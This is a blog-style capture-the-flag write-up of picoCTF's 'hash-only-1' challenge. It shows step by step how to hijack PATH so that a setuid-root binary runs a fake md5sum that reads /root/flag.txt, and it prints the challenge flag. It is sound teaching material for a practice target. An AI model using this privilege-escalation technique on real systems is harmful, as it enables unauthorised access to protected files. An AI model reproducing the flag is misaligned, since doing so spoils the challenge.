

We are solving hash-only-1, a medium-level binary exploitation challenge on cylab security academy (previously known as picoctf). In this challenge, we must exploit a binary that runs with enough elevated privileges to read the flag file but instead returns the flag file's hash value.

We are provided a username and password to connect to the challenge instance via ssh. I used the following command to do so:

```
ssh ctf-player@shape-facility.picoctf.net -p [port given to us by the challenge instance goes here]
```

```
└─$ ssh ctf-player@shape-facility.picoctf.net -p 50968
The authenticity of host '[shape-facility.picoctf.net]:50968 ([3.20.150.139]:
50968)' can't be established.
ED25519 key fingerprint is: SHA256:P8GYKzSAdyzjQiz3KoTDQXBbuIsVcHzc/GFG/F7d+
k
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[shape-facility.picoctf.net]:50968' (ED25519) to
the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ctf-player@shape-facility.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.17.0-1013-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@pico-chall$
```

I find a "flaghasher" binary and run the file command on it to see what kind of file it is. It turns out to be a setuid 64-bit binary, meaning it runs as the owner of the file, which is in this case root:

However, I found out I can use python. Using python, I can create a file. After testing it out, it worked!

```
ctf-player@pico-chall$ python3 -c "file=open('h.txt','a');file
.write('hey');file.close()"
ctf-player@pico-chall$ ls
flaghasher  h.txt
```

Now that I know I can create a file on the system, I went forward with my earlier strategy: I made a fake md5sum 'binary' that concatenates the content of the flag file in the root directory.

```
ctf-player@pico-chall$ python3 -c "file=open('md5sum','a');fil
e.write('cat /root/flag.txt');"
ctf-player@pico-chall$ ls
flaghasher  md5sum
```

Then I changed the PATH environment variable to start looking for the md5sum binary in the directory I created the fake md5sum 'binary' before it looks into the /bin directory (This works because when the flaghasher binary calls the 'md5sum' command, it doesn't specify the path, meaning the shell looks into the PATH environment variable to find where it is located, looking into our directory first!):

```
ctf-player@pico-chall$ export PATH=/home/ctf-player:$PATH
ctf-player@pico-chall$ $PATH
-bash: /home/ctf-player:/usr/local/sbin:/usr/local/bin:/usr/sb
in:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:
No such file or directory
```

Now all I have to do is run the flaghasher binary to see if my technique works, and it did!

```
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt...
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}ctf-player@
```

flag: picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}

